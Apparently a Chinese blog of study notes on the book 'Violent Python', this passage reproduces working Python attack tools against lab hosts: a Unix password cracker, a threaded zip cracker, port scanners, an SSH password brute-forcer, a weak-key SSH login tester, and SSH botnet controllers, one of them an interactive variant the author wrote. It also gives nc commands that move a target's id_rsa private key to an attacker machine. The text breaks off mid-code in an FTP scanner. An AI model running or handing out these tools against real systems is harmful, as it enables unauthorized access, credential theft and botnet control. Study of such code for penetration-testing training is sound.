《Python绝技:运用Python成为顶级黑客》的学习笔记

本篇文章主要把《Python绝技:运用Python成为顶级黑客》中的代码敲一遍,学学Python安全相关的编程与思路,然后根据具体的情况修改一下代码。

第一章——入门

1、准备开发环境

安装第三方库:

安装Python-nmap包:

wget http://xael.org/norman/python/python-nmap/pythonnmap-0.2.4.tar.gz-On map.tar.gz

tar -xzf nmap.tar.gz

cd python-nmap-0.2.4/

python setup.py install

当然可以使用easy_install模块实现更简便的安装:easy_install python-nmap


安装其他:easy_install pyPdf python-nmap pygeoip mechanize BeautifulSoup4

其他几个无法用easy_install命令安装的与蓝牙有关的库:apt-get install python-bluez bluetooth python-obexftp


Python解释与Python交互:

简单地说,Python解释是通过调用Python解释器执行py脚本,而Python交互则是通过在命令行输入python实现交互。


2、Python语言

变量

Python中的字符串、整形数、列表、布尔值以及词典。



字符串

四个方法:upper()大写输出、lower()小写输出、replace()替换、find()查找



List(列表)

append()方法向列表添加元素、index()返回元素的索引、remove()删除元素、sort()排序、len()返回列表长度



词典

keys()返回词典中所有键的列表、items()返回词典中所有项的完整信息的列表



网络

使用socket模块,connect()方法建立与指定IP和端口的网络连接;revc(1024)方法将读取套接字中接下来的1024B数据



条件选择语句

if 条件一:
语句一
elif 条件二:
语句二
else:
语句三


异常处理

try/except语句进行异常处理,可以将异常存储到变量e中以便打印出来,同时还要调用str()将e转换成一个字符串




函数

通过def()关键字定义,示例中定义扫描FTP banner信息的函数:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import socket
  4. def retBanner(ip,port):
  5. try:
  6. socket.setdefaulttimeout( 2)
  7. s = socket.socket()
  8. s.connect((ip,port))
  9. banner = s.recv( 1024)
  10. return banner
  11. except:
  12. return
  13. def checkVulns(banner):
  14. if 'vsFTPd' in banner:
  15. print '[+] vsFTPd is vulnerable.'
  16. elif 'FreeFloat Ftp Server' in banner:
  17. print '[+] FreeFloat Ftp Server is vulnerable.'
  18. else:
  19. print '[-] FTP Server is not vulnerable.'
  20. return
  21. def main():
  22. ips = [ '10.10.10.128', '10.10.10.160']
  23. port = 21
  24. banner1 = retBanner(ips[ 0],port)
  25. if banner1:
  26. print '[+] ' + ips[ 0] + ": " + banner1.strip( '\n')
  27. checkVulns(banner1)
  28. banner2 = retBanner(ips[ 1],port)
  29. if banner2:
  30. print '[+] ' + ips[ 1] + ": " + banner2.strip( '\n')
  31. checkVulns(banner2)
  32. if __name__ == '__main__':
  33. main()



迭代

for语句


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import socket
  4. def retBanner(ip,port):
  5. try:
  6. socket.setdefaulttimeout( 2)
  7. s = socket.socket()
  8. s.connect((ip,port))
  9. banner = s.recv( 1024)
  10. return banner
  11. except:
  12. return
  13. def checkVulns(banner):
  14. if 'vsFTPd' in banner:
  15. print '[+] vsFTPd is vulnerable.'
  16. elif 'FreeFloat Ftp Server' in banner:
  17. print '[+] FreeFloat Ftp Server is vulnerable.'
  18. else:
  19. print '[-] FTP Server is not vulnerable.'
  20. return
  21. def main():
  22. portList = [ 21, 22, 25, 80, 110, 443]
  23. ip = '10.10.10.128'
  24. for port in portList:
  25. banner = retBanner(ip,port)
  26. if banner:
  27. print '[+] ' + ip + ':' + str(port) + '--' + banner
  28. if port == 21:
  29. checkVulns(banner)
  30. if __name__ == '__main__':
  31. main()



文件输入/输出

open()打开文件,r只读,r+读写,w新建(会覆盖原有文件),a追加,b二进制文件

同一目录中:


不同目录中:

从当前目录开始往下查找,前面加上.号


或者是绝对路径则不用加.号表示从当前目录开始



sys模块

sys.argv列表中含有所有的命令行参数,sys.argv[0]为Python脚本的名称,其余的都是命令行参数


OS模块

os.path.isfile()检查该文件是否存在

os.access()判断当前用户是否有权限读取该文件


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import sys
  4. import os
  5. if len(sys.argv) == 2:
  6. filename = sys.argv[ 1]
  7. if not os.path.isfile(filename):
  8. print '[-] ' + filename + ' does not exit.'
  9. exit( 0)
  10. if not os.access(filename,os.R_OK):
  11. print '[-] ' + filename + ' access denied.'
  12. exit( 0)
  13. print '[+] Reading From: ' + filename



整合

将上述各个模块整合起来,实现对目标主机的端口及其banner信息的扫描:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import socket
  4. import sys
  5. import os
  6. def retBanner(ip,port):
  7. try:
  8. socket.setdefaulttimeout( 2)
  9. s = socket.socket()
  10. s.connect((ip,port))
  11. banner = s.recv( 1024)
  12. return banner
  13. except:
  14. return
  15. def checkVulns(banner,filename):
  16. f = open(filename, 'r')
  17. for line in f.readlines():
  18. if line.strip( '\n') in banner:
  19. print '[+] Server is vulnerable: ' + banner.strip( '\n')
  20. def main():
  21. if len(sys.argv) == 2:
  22. filename = sys.argv[ 1]
  23. if not os.path.isfile(filename):
  24. print '[-] ' + filename + ' does not exit.'
  25. exit( 0)
  26. if not os.access(filename,os.R_OK):
  27. print '[-] ' + filename + ' access denied.'
  28. exit( 0)
  29. print '[+] Reading From: ' + filename
  30. else:
  31. print '[-] Usage: ' + str(sys.argv[ 0]) + ' <vuln filename>'
  32. exit( 0)
  33. portList = [ 21, 22, 25, 80, 110, 443]
  34. ip = '10.10.10.128'
  35. for port in portList:
  36. banner = retBanner(ip,port)
  37. if banner:
  38. print '[+] ' + ip + ':' + str(port) + '--' + banner
  39. if port == 21:
  40. checkVulns(banner,filename)
  41. if __name__ == '__main__':
  42. main()

运行结果:



3、第一个Python程序

第一个程序:Unix口令破解机

这段代码通过分别读取两个文件,一个为加密口令文件,另一个为用于猜测的字典文件。在testPass()函数中读取字典文件,并通过crypt.crypt()进行加密,其中需要一个明文密码以及两个字节的盐,然后再用加密后的信息和加密口令进行比较查看是否相等即可。

先看crypt的示例:


可以看到盐是添加在密文的前两位的,所以将加密口令的前两位提取出来为salt即可。


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import crypt
  4. def testPass(cryptPass):
  5. salt = cryptPass[ 0: 2]
  6. dictFile = open( 'dictionary.txt', 'r')
  7. for word in dictFile.readlines():
  8. word = word.strip( '\n')
  9. cryptWord = crypt.crypt(word,salt)
  10. if cryptWord == cryptPass:
  11. print '[+] Found Password: ' + word + "\n"
  12. return
  13. print '[-] Password not Found.\n'
  14. return
  15. def main():
  16. passFile = open( 'passwords.txt')
  17. for line in passFile.readlines():
  18. if ":" in line:
  19. user = line.split( ':')[ 0]
  20. cryptPass = line.split( ':')[ 1].strip( ' ')
  21. print '[*] Cracking Password For : ' + user
  22. testPass(cryptPass)
  23. if __name__ == '__main__':
  24. main()

运行结果:


在现代的类Unix系统中在/etc/shadow文件中存储了口令的hash,但是更多的是使用SHA-512等更安全的hash算法,如:


在Python中的hashlib库可以找到SHA-512的函数,这样就可以进一步升级脚本进行口令破解。


第二个程序:一个Zip文件口令破解机

主要使用zipfile库的extractall()方法,其中pwd参数指定密码


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import zipfile
  4. import optparse
  5. from threading import Thread
  6. def extractFile(zFile,password):
  7. try:
  8. zFile.extractall(pwd=password)
  9. print '[+] Fonud Password : ' + password + '\n'
  10. except:
  11. pass
  12. def main():
  13. parser = optparse.OptionParser( "[*] Usage: ./unzip.py -f <zipfile> -d <dictionary>")
  14. parser.add_option( '-f',dest= 'zname',type= 'string',help= 'specify zip file')
  15. parser.add_option( '-d',dest= 'dname',type= 'string',help= 'specify dictionary file')
  16. (options,args) = parser.parse_args()
  17. if (options.zname == None) | (options.dname == None):
  18. print parser.usage
  19. exit( 0)
  20. zFile = zipfile.ZipFile(options.zname)
  21. passFile = open(options.dname)
  22. for line in passFile.readlines():
  23. line = line.strip( '\n')
  24. t = Thread(target=extractFile,args=(zFile,line))
  25. t.start()
  26. if __name__ == '__main__':
  27. main()

代码中导入了optparse库解析命令行参数,调用OptionParser()生成一个参数解析器类的示例,parser.add_option()指定具体解析哪些命令行参数,usage输出的是参数的帮助信息;同时也采用了多线程的方式提高破解速率。

运行结果:



第二章——用Python进行渗透测试

1、编写一个端口扫描器

TCP全连接扫描、抓取应用的Banner


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import optparse
  4. import socket
  5. from socket import *
  6. def connScan(tgtHost,tgtPort):
  7. try:
  8. connSkt = socket(AF_INET,SOCK_STREAM)
  9. connSkt.connect((tgtHost,tgtPort))
  10. connSkt.send( 'ViolentPython\r\n')
  11. result = connSkt.recv( 100)
  12. print '[+] %d/tcp open'%tgtPort
  13. print '[+] ' + str(result)
  14. connSkt.close()
  15. except:
  16. print '[-] %d/tcp closed'%tgtPort
  17. def portScan(tgtHost,tgtPorts):
  18. try:
  19. tgtIP = gethostbyname(tgtHost)
  20. except:
  21. print "[-] Cannot resolve '%s' : Unknown host"%tgtHost
  22. return
  23. try:
  24. tgtName = gethostbyaddr(tgtIP)
  25. print '\n[+] Scan Results for: ' + tgtName[ 0]
  26. except:
  27. print '\n[+] Scan Results for: ' + tgtIP
  28. setdefaulttimeout( 1)
  29. for tgtPort in tgtPorts:
  30. print 'Scanning port' + tgtPort
  31. connScan(tgtHost,int(tgtPort))
  32. def main():
  33. parser = optparse.OptionParser( "[*] Usage : ./portscanner.py -H <target host> -p <target port>")
  34. parser.add_option( '-H',dest= 'tgtHost',type= 'string',help= 'specify target host')
  35. parser.add_option( '-p',dest= 'tgtPort',type= 'string',help= 'specify target port[s]')
  36. (options,args) = parser.parse_args()
  37. tgtHost = options.tgtHost
  38. tgtPorts = str(options.tgtPort).split( ',')
  39. if (tgtHost == None) | (tgtPorts[ 0] == None):
  40. print parser.usage
  41. exit( 0)
  42. portScan(tgtHost,tgtPorts)
  43. if __name__ == '__main__':
  44. main()

这段代码实现了命令行参数输入,需要用户输入主机IP和扫描的端口号,其中多个端口号之间可以用,号分割开;若参数输入不为空时(注意检测端口参数列表不为空即检测至少存在第一个值不为空即可)则调用函数进行端口扫描;在portScan()函数中先尝试调用gethostbyname()来从主机名获取IP,若获取不了则解析IP失败程序结束,若成功则继续尝试调用gethostbyaddr()从IP获取主机名相关信息,若获取成功则输出列表的第一项主机名否则直接输出IP,接着遍历端口调用connScan()函数进行端口扫描;在connScan()函数中,socket方法中有两个参数AF_INET和SOCK_STREAM,分别表示使用IPv4地址和TCP流,这两个参数是默认的,在上一章的代码中没有添加但是默认是这两个参数,其余的代码和之前的差不多了。

注意一个小问题就是,设置命令行参数的时候,是已经默认添加了-h和--help参数来提示参数信息的,如果在host参数使用-h的话就会出现错误,因而要改为用大写的H即书上的“-H”即可。

运行结果:



线程扫描

将上一小节的代码修改一下,添加线程实现,同时为了让一个函数获得完整的屏幕控制权,这里使用一个信号量semaphore,它能够阻止其他线程运行而避免出现多线程同时输出造成的乱码和失序等情况。在打印输出前带调用screenLock.acquire()函数执行一个加锁操作,若信号量还没被锁定则线程有权继续运行并输出打印到屏幕上,若信号量被锁定则只能等待直到信号量被释放。


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import optparse
  4. import socket
  5. from socket import *
  6. from threading import *
  7. #定义一个信号量
  8. screenLock = Semaphore(value= 1)
  9. def connScan(tgtHost,tgtPort):
  10. try:
  11. connSkt = socket(AF_INET,SOCK_STREAM)
  12. connSkt.connect((tgtHost,tgtPort))
  13. connSkt.send( 'ViolentPython\r\n')
  14. result = connSkt.recv( 100)
  15. #执行一个加锁操作
  16. screenLock.acquire()
  17. print '[+] %d/tcp open'%tgtPort
  18. print '[+] ' + str(result)
  19. except:
  20. #执行一个加锁操作
  21. screenLock.acquire()
  22. print '[-] %d/tcp closed'%tgtPort
  23. finally:
  24. #执行释放锁的操作,同时将socket的连接在其后关闭
  25. screenLock.release()
  26. connSkt.close()
  27. def portScan(tgtHost,tgtPorts):
  28. try:
  29. tgtIP = gethostbyname(tgtHost)
  30. except:
  31. print "[-] Cannot resolve '%s' : Unknown host"%tgtHost
  32. return
  33. try:
  34. tgtName = gethostbyaddr(tgtIP)
  35. print '\n[+] Scan Results for: ' + tgtName[ 0]
  36. except:
  37. print '\n[+] Scan Results for: ' + tgtIP
  38. setdefaulttimeout( 1)
  39. for tgtPort in tgtPorts:
  40. t = Thread(target=connScan,args=(tgtHost,int(tgtPort)))
  41. t.start()
  42. def main():
  43. parser = optparse.OptionParser( "[*] Usage : ./portscanner.py -H <target host> -p <target port>")
  44. parser.add_option( '-H',dest= 'tgtHost',type= 'string',help= 'specify target host')
  45. parser.add_option( '-p',dest= 'tgtPort',type= 'string',help= 'specify target port[s]')
  46. (options,args) = parser.parse_args()
  47. tgtHost = options.tgtHost
  48. tgtPorts = str(options.tgtPort).split( ',')
  49. if (tgtHost == None) | (tgtPorts[ 0] == None):
  50. print parser.usage
  51. exit( 0)
  52. portScan(tgtHost,tgtPorts)
  53. if __name__ == '__main__':
  54. main()

运行结果:


从结果可以看到,使用多线程之后端口的扫描并不是按输入的顺序进行的了,而是同时进行,但是因为有信号量实现加锁等操作所以输出的结果并没有出现乱码等情况。


使用nmap端口扫描代码

如果在前面没有下载该模块,则需要先到http://xael.org/pages/python-nmap-en.html中下载Python-Nmap


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import nmap
  4. import optparse
  5. def nmapScan(tgtHost,tgtPort):
  6. #创建一个PortScanner()类对象
  7. nmScan = nmap.PortScanner()
  8. #调用PortScanner类的scan()函数,将目标和端口作为参数输入并进行nmap扫描
  9. nmScan.scan(tgtHost,tgtPort)
  10. #输出扫描结果中的状态信息
  11. state = nmScan[tgtHost][ 'tcp'][int(tgtPort)][ 'state']
  12. print '[*] ' + tgtHost + " tcp/" + tgtPort + " " + state
  13. def main():
  14. parser=optparse.OptionParser( "[*] Usage : ./nmapScan.py -H <target host> -p <target port[s]>")
  15. parser.add_option( '-H',dest= 'tgtHost',type= 'string',help= 'specify target host')
  16. parser.add_option( '-p',dest= 'tgtPorts',type= 'string',help= 'specify target port[s]')
  17. (options,args)=parser.parse_args()
  18. tgtHost = options.tgtHost
  19. tgtPorts = str(options.tgtPorts).split( ',')
  20. if (tgtHost == None) | (tgtPorts[ 0] == None):
  21. print parser.usage
  22. exit( 0)
  23. for tgtPort in tgtPorts:
  24. nmapScan(tgtHost,tgtPort)
  25. if __name__ == '__main__':
  26. main()

运行结果:



2、用Python构建一个SSH僵尸网络

用Pexpect与SSH交互

若在前面第一章的时候没有下载,则需要先下载Pexpect:https://pypi.python.org/pypi/pexpect/

Pexpect模块可以实现与程序交互、等待预期的屏幕输出并据此作出不同的响应。

先进行正常的ssh连接测试:


模仿这个流程,代码如下:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import pexpect
  4. #SSH连接成功时的命令行交互窗口中前面的提示字符的集合
  5. PROMPT = [ '# ', '>>> ', '> ', '\$ ']
  6. def send_command(child,cmd):
  7. #发送一条命令
  8. child.sendline(cmd)
  9. #期望有命令行提示字符出现
  10. child.expect(PROMPT)
  11. #将之前的内容都输出
  12. print child.before
  13. def connect(user,host,password):
  14. #表示主机已使用一个新的公钥的消息
  15. ssh_newkey = 'Are you sure you want to continue connecting'
  16. connStr = 'ssh ' + user + '@' + host
  17. #为ssh命令生成一个spawn类的对象
  18. child = pexpect.spawn(connStr)
  19. #期望有ssh_newkey字符、提示输入密码的字符出现,否则超时
  20. ret = child.expect([pexpect.TIMEOUT,ssh_newkey, '[P|p]assword: '])
  21. #匹配到超时TIMEOUT
  22. if ret == 0:
  23. print '[-] Error Connecting'
  24. return
  25. #匹配到ssh_newkey
  26. if ret == 1:
  27. #发送yes回应ssh_newkey并期望提示输入密码的字符出现
  28. child.sendline( 'yes')
  29. ret = child.expect([pexpect.TIMEOUT, '[P|p]assword: '])
  30. #匹配到超时TIMEOUT
  31. if ret == 0:
  32. print '[-] Error Connecting'
  33. return
  34. #发送密码
  35. child.sendline(password)
  36. child.expect(PROMPT)
  37. return child
  38. def main():
  39. host= '10.10.10.128'
  40. user= 'msfadmin'
  41. password= 'msfadmin'
  42. child=connect(user,host,password)
  43. send_command(child, 'uname -a')
  44. if __name__ == '__main__':
  45. main()

这段代码没有进行命令行参数的输入以及没有实现命令行交互。

运行结果:


书上提到了BackTrack中的运行,也来测试一下吧:

在BT5中生成ssh-key并启动SSH服务:

sshd-generate

service ssh start

./sshScan.py



【个人修改的代码】

这段代码可以进一步改进一下,下面的是个人改进的代码,实现了参数化输入以及命令行shell交互的形式:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import pexpect
  4. from optparse import OptionParser
  5. #SSH连接成功时的命令行交互窗口中的提示符的集合
  6. PROMPT = [ '# ', '>>> ', '> ', '\$ ']
  7. def send_command(child,cmd):
  8. #发送一条命令
  9. child.sendline(cmd)
  10. #期望有命令行提示字符出现
  11. child.expect(PROMPT)
  12. #将之前的内容都输出
  13. print child.before.split( '\n')[ 1]
  14. def connect(user,host,password):
  15. #表示主机已使用一个新的公钥的消息
  16. ssh_newkey = 'Are you sure you want to continue connecting'
  17. connStr = 'ssh ' + user + '@' + host
  18. #为ssh命令生成一个spawn类的对象
  19. child = pexpect.spawn(connStr)
  20. #期望有ssh_newkey字符、提示输入密码的字符出现,否则超时
  21. ret = child.expect([pexpect.TIMEOUT,ssh_newkey, '[P|p]assword: '])
  22. #匹配到超时TIMEOUT
  23. if ret == 0:
  24. print '[-] Error Connecting'
  25. return
  26. #匹配到ssh_newkey
  27. if ret == 1:
  28. #发送yes回应ssh_newkey并期望提示输入密码的字符出现
  29. child.sendline( 'yes')
  30. ret = child.expect([pexpect.TIMEOUT,ssh_newkey, '[P|p]assword: '])
  31. #匹配到超时TIMEOUT
  32. if ret == 0:
  33. print '[-] Error Connecting'
  34. return
  35. #发送密码
  36. child.sendline(password)
  37. child.expect(PROMPT)
  38. return child
  39. def main():
  40. parser = OptionParser( "[*] Usage : ./sshCommand2.py -H <target host> -u <username> -p <password>")
  41. parser.add_option( '-H',dest= 'host',type= 'string',help= 'specify target host')
  42. parser.add_option( '-u',dest= 'username',type= 'string',help= 'target username')
  43. parser.add_option( '-p',dest= 'password',type= 'string',help= 'target password')
  44. (options,args) = parser.parse_args()
  45. if (options.host == None) | (options.username == None) | (options.password == None):
  46. print parser.usage
  47. exit( 0)
  48. child=connect(options.username,options.host,options.password)
  49. while True:
  50. command = raw_input( '<SSH> ')
  51. send_command(child,command)
  52. if __name__ == '__main__':
  53. main()

这样就可以指定目标主机进行SSH连接并实现了SSH一样的命令行交互体验了:



用Pxssh暴力破解SSH密码

pxssh 是 pexpect 中 spawn 类的子类,增加了login()、logout()和prompt()几个方法,使用其可以轻松实现 ssh 连接,而不用自己调用相对复杂的 pexpect 的方法来实现。

prompt(self,timeout=20)方法用于匹配新提示符

使用pxssh替代上一小节的脚本:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. from pexpect import pxssh
  4. def send_command(s,cmd):
  5. s.sendline(cmd)
  6. #匹配prompt(提示符)
  7. s.prompt()
  8. #将prompt前所有内容打印出
  9. print s.before
  10. def connect(host,user,password):
  11. try:
  12. s = pxssh.pxssh()
  13. #利用pxssh类的login()方法进行ssh登录
  14. s.login(host,user,password)
  15. return s
  16. except:
  17. print '[-] Error Connecting'
  18. exit( 0)
  19. s = connect( '10.10.10.128', 'msfadmin', 'msfadmin')
  20. send_command(s, 'uname -a')

一开始遇到一个问题,就是直接按书上的敲import pxssh会显示出错,但是明明已经安装了这个文件,查看资料发现是pxssh是在pexpect包中的,所以将其改为from pexpect import pxssh就可以了。

运行结果:


接着继续修改代码:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. from pexpect import pxssh
  4. import optparse
  5. import time
  6. from threading import *
  7. maxConnections = 5
  8. #定义一个有界信号量BoundedSemaphore,在调用release()函数时会检查增加的计数是否超过上限
  9. connection_lock = BoundedSemaphore(value=maxConnections)
  10. Found = False
  11. Fails = 0
  12. def connect(host,user,password,release):
  13. global Found
  14. global Fails
  15. try:
  16. s = pxssh.pxssh()
  17. #利用pxssh类的login()方法进行ssh登录
  18. s.login(host,user,password)
  19. print '[+] Password Found: ' + password
  20. Found = True
  21. except Exception, e:
  22. #SSH服务器可能被大量的连接刷爆,等待一会再连接
  23. if 'read_nonblocking' in str(e):
  24. Fails += 1
  25. time.sleep( 5)
  26. #递归调用的connect(),不可释放锁
  27. connect(host,user,password, False)
  28. #显示pxssh命令提示符提取困难,等待一会再连接
  29. elif 'synchronize with original prompt' in str(e):
  30. time.sleep( 1)
  31. #递归调用的connect(),不可释放锁
  32. connect(host,user,password, False)
  33. finally:
  34. if release:
  35. #释放锁
  36. connection_lock.release()
  37. def main():
  38. parser = optparse.OptionParser( '[*] Usage : ./sshBrute.py -H <target host> -u <username> -f <password file>')
  39. parser.add_option( '-H',dest= 'host',type= 'string',help= 'specify target host')
  40. parser.add_option( '-u',dest= 'username',type= 'string',help= 'target username')
  41. parser.add_option( '-f',dest= 'file',type= 'string',help= 'specify password file')
  42. (options,args) = parser.parse_args()
  43. if (options.host == None) | (options.username == None) | (options.file == None):
  44. print parser.usage
  45. exit( 0)
  46. host = options.host
  47. username = options.username
  48. file = options.file
  49. fn = open(file, 'r')
  50. for line in fn.readlines():
  51. if Found:
  52. print '[*] Exiting: Password Found'
  53. exit( 0)
  54. if Fails > 5:
  55. print '[!] Exiting: Too Many Socket Timeouts'
  56. exit( 0)
  57. #加锁
  58. connection_lock.acquire()
  59. #去掉换行符,其中Windows为'\r\n',Linux为'\n'
  60. password = line.strip( '\r').strip( '\n')
  61. print '[-] Testing: ' + str(password)
  62. #这里不是递归调用的connect(),可以释放锁
  63. t = Thread(target=connect,args=(host,username,password, True))
  64. child = t.start()
  65. if __name__ == '__main__':
  66. main()

Semaphore,是一种带计数的线程同步机制,当调用release时,增加计算,当acquire时,减少计数,当计数为0时,自动阻塞,等待release被调用。其存在两种Semaphore, 即Semaphore和BoundedSemaphore,都属于threading库。

Semaphore:  在调用release()函数时,不会检查增加的计数是否超过上限(没有上限,会一直上升)

BoundedSemaphore:在调用release()函数时,会检查增加的计数是否超过上限,从而保证了使用的计数

运行结果:



利用SSH中的弱密钥

使用密钥登录ssh时,格式为:ssh user@host -i keyfile -o PasswordAuthentication=no

本来是要到这个网站中去下载ssh的私钥压缩包的:http://digitaloffense.net/tools/debianopenssl/

但是由于时间有点久已经没有该站点可以下载了。

为了进行测试就到靶机上将该ssh的rsa文件通过nc传过来:

Kali先开启nc监听:nc -lp 4444 > id_rsa

然后靶机Metasploitable进入ssh的dsa目录,将id_rsa文件而不是id_rsa.:

cd .ssh

nc -nv 10.10.10.160 4444 -q 1 < id_rsa

下面这段脚本主要是逐个使用指定目录中生成的密钥来尝试进行连接。


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import pexpect
  4. import optparse
  5. import os
  6. from threading import *
  7. maxConnections = 5
  8. #定义一个有界信号量BoundedSemaphore,在调用release()函数时会检查增加的计数是否超过上限
  9. connection_lock = BoundedSemaphore(value=maxConnections)
  10. Stop = False
  11. Fails = 0
  12. def connect(host,user,keyfile,release):
  13. global Stop
  14. global Fails
  15. try:
  16. perm_denied = 'Permission denied'
  17. ssh_newkey = 'Are you sure you want to continue'
  18. conn_closed = 'Connection closed by remote host'
  19. opt = ' -o PasswordAuthentication=no'
  20. connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt
  21. child = pexpect.spawn(connStr)
  22. ret = child.expect([pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed, '$', '#', ])
  23. #匹配到ssh_newkey
  24. if ret == 2:
  25. print '[-] Adding Host to ~/.ssh/known_hosts'
  26. child.sendline( 'yes')
  27. connect(user, host, keyfile, False)
  28. #匹配到conn_closed
  29. elif ret == 3:
  30. print '[-] Connection Closed By Remote Host'
  31. Fails += 1
  32. #匹配到提示符'$','#',
  33. elif ret > 3:
  34. print '[+] Success. ' + str(keyfile)
  35. Stop = True
  36. finally:
  37. if release:
  38. #释放锁
  39. connection_lock.release()
  40. def main():
  41. parser = optparse.OptionParser( '[*] Usage : ./sshBrute.py -H <target host> -u <username> -d <directory>')
  42. parser.add_option( '-H',dest= 'host',type= 'string',help= 'specify target host')
  43. parser.add_option( '-u',dest= 'username',type= 'string',help= 'target username')
  44. parser.add_option( '-d',dest= 'passDir',type= 'string',help= 'specify directory with keys')
  45. (options,args) = parser.parse_args()
  46. if (options.host == None) | (options.username == None) | (options.passDir == None):
  47. print parser.usage
  48. exit( 0)
  49. host = options.host
  50. username = options.username
  51. passDir = options.passDir
  52. #os.listdir()返回指定目录下的所有文件和目录名
  53. for filename in os.listdir(passDir):
  54. if Stop:
  55. print '[*] Exiting: Key Found.'
  56. exit( 0)
  57. if Fails > 5:
  58. print '[!] Exiting: Too Many Connections Closed By Remote Host.'
  59. print '[!] Adjust number of simultaneous threads.'
  60. exit( 0)
  61. #加锁
  62. connection_lock.acquire()
  63. #连接目录与文件名或目录
  64. fullpath = os.path.join(passDir,filename)
  65. print '[-] Testing keyfile ' + str(fullpath)
  66. t = Thread(target=connect,args=(username,host,fullpath, True))
  67. child = t.start()
  68. if __name__ == '__main__':
  69. main()

运行结果:



构建SSH僵尸网络


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import optparse
  4. from pexpect import pxssh
  5. #定义一个客户端的类
  6. class Client(object):
  7. """docstring for Client"""
  8. def __init__(self, host, user, password):
  9. self.host = host
  10. self.user = user
  11. self.password = password
  12. self.session = self.connect()
  13. def connect(self):
  14. try:
  15. s = pxssh.pxssh()
  16. s.login(self.host,self.user,self.password)
  17. return s
  18. except Exception, e:
  19. print e
  20. print '[-] Error Connecting'
  21. def send_command(self, cmd):
  22. self.session.sendline(cmd)
  23. self.session.prompt()
  24. return self.session.before
  25. def botnetCommand(command):
  26. for client in botNet:
  27. output = client.send_command(command)
  28. print '[*] Output from ' + client.host
  29. print '[+] ' + output + '\n'
  30. def addClient(host, user, password):
  31. client = Client(host,user,password)
  32. botNet.append(client)
  33. botNet = []
  34. addClient( '10.10.10.128', 'msfadmin', 'msfadmin')
  35. addClient( '10.10.10.153', 'root', 'toor')
  36. botnetCommand( 'uname -a')
  37. botnetCommand( 'whoami')

这段代码主要定义一个客户端的类实现ssh连接和发送命令,然后再定义一个botNet数组用于保存僵尸网络中的所有主机,并定义两个方法一个是添加僵尸主机的addClient()、 另一个为在僵尸主机中遍历执行命令的botnetCommand()。

运行结果:



【个人修改的代码】

接下来是本人修改的代码,先是将僵尸主机的信息都保存在一个文件中、以:号将三类信息分割开,从而脚本可以方便地通过读取文件中的僵尸主机信息,同时脚本也实现了批量命令行交互的形式,和之前修改的ssh命令行交互的形式差不多,只是每次输入一条命令所有的僵尸主机都会去执行从而返回命令结果:

botnet.txt文件:


botNet2.py:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import optparse
  4. from pexpect import pxssh
  5. import optparse
  6. botNet=[]
  7. #定义一个用于存放host的列表以便判断当前host之前是否已经添加进botNet中了
  8. hosts = []
  9. #定义一个客户端的类
  10. class Client(object):
  11. """docstring for Client"""
  12. def __init__(self, host, user, password):
  13. self.host = host
  14. self.user = user
  15. self.password = password
  16. self.session = self.connect()
  17. def connect(self):
  18. try:
  19. s = pxssh.pxssh()
  20. s.login(self.host,self.user,self.password)
  21. return s
  22. except Exception, e:
  23. print e
  24. print '[-] Error Connecting'
  25. def send_command(self, cmd):
  26. self.session.sendline(cmd)
  27. self.session.prompt()
  28. return self.session.before
  29. def botnetCommand(cmd, k):
  30. for client in botNet:
  31. output=client.send_command(cmd)
  32. #若k为True即最后一台主机发起请求后就输出,否则输出会和之前的重复
  33. if k:
  34. print '[*] Output from '+client.host
  35. print '[+] '+output+ '\n'
  36. def addClient(host,user,password):
  37. if len(hosts) == 0:
  38. hosts.append(host)
  39. client=Client(host,user,password)
  40. botNet.append(client)
  41. else:
  42. t = True
  43. #遍历查看host是否存在hosts列表中,若不存在则进行添加操作
  44. for h in hosts:
  45. if h == host:
  46. t = False
  47. if t:
  48. hosts.append(host)
  49. client=Client(host,user,password)
  50. botNet.append(client)
  51. def main():
  52. parser=optparse.OptionParser( 'Usage : ./botNet.py -f <botNet file>')
  53. parser.add_option( '-f',dest= 'file',type= 'string',help= 'specify botNet file')
  54. (options,args)=parser.parse_args()
  55. file = options.file
  56. if file== None:
  57. print parser.usage
  58. exit( 0)
  59. #计算文件行数,不能和下面的f用同一个open()否则会出错
  60. count = len(open(file, 'r').readlines())
  61. while True:
  62. cmd=raw_input( "<SSH> ")
  63. k = 0
  64. f = open(file, 'r')
  65. for line in f.readlines():
  66. line = line.strip( '\n')
  67. host = line.split( ':')[ 0]
  68. user = line.split( ':')[ 1]
  69. password = line.split( ':')[ 2]
  70. k += 1
  71. #这里需要判断是否到最后一台主机调用函数,因为命令的输出结果会把前面的所有结果都输出从而会出现重复输出的情况
  72. if k < count:
  73. addClient(host,user,password)
  74. #不是最后一台主机请求,则先不输出命令结果
  75. botnetCommand(cmd, False)
  76. else:
  77. addClient(host,user,password)
  78. #最后一台主机请求,则可以输出命令结果
  79. botnetCommand(cmd, True)
  80. if __name__ == '__main__':
  81. main()

这段修改的代码主要的处理问题是输出的问题,在代码注释中也说得差不多了,就这样吧。

运行结果:


用户可以将收集到的ssh僵尸主机都保存在botnet.txt文件中,这样脚本运行起来执行就会十分地方便、实现批量式的操作。


3、利用FTP与Web批量抓“肉机”

用Python构建匿名FTP扫描器

一些FTP服务器提供匿名登录的功能,因为这有助于网站访问软件更新,这种情况下,用户输入用户名“anonymous”并提交一个电子邮箱替代密码即可登录。

下面的代码主要是使用ftplib模块的FTP()、login()和quit()方法实现:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import ftplib
  4. def anonLogin(hostname):
  5. try:
  6. ftp = ftplib.FTP(hostname)
